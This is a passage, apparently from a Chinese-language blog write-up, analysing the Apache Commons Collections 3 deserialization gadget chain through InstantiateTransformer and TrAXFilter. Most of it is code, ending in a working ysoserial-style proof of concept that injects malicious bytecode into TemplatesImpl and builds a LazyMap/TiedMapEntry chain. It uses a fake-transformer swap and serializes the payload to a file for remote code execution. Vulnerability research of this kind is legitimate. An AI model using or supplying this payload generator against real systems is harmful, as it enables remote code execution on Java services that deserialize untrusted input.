if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var6) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var7) {
throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
} catch (IllegalAccessException var8) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
} catch (InvocationTargetException var9) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
}
}
也就是说,我们现在需要找到一个类,它的构造函数里调用到了 newTransformer方法。查找一波引用,发现了 TrAXFilter类。
TrAXFilter#TrAXFilter:
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
类ysoserial PoC
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "Burger King");
Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] evilBytes = ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode();
byte[][] evilBytecodes = {evilBytes};
_bytecodes.set(templates, evilBytecodes);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templates })
};
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer("King Burger")
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
HashMap<Object, Object> originalMap = new HashMap<>();
originalMap.put("value","Burger King");
Map lazyMap = LazyMap.decorate(originalMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"Burger King");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"Burger King");
originalMap.remove("Burger King");
Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
Helper.serialize("CC3.ser", hashMap);
}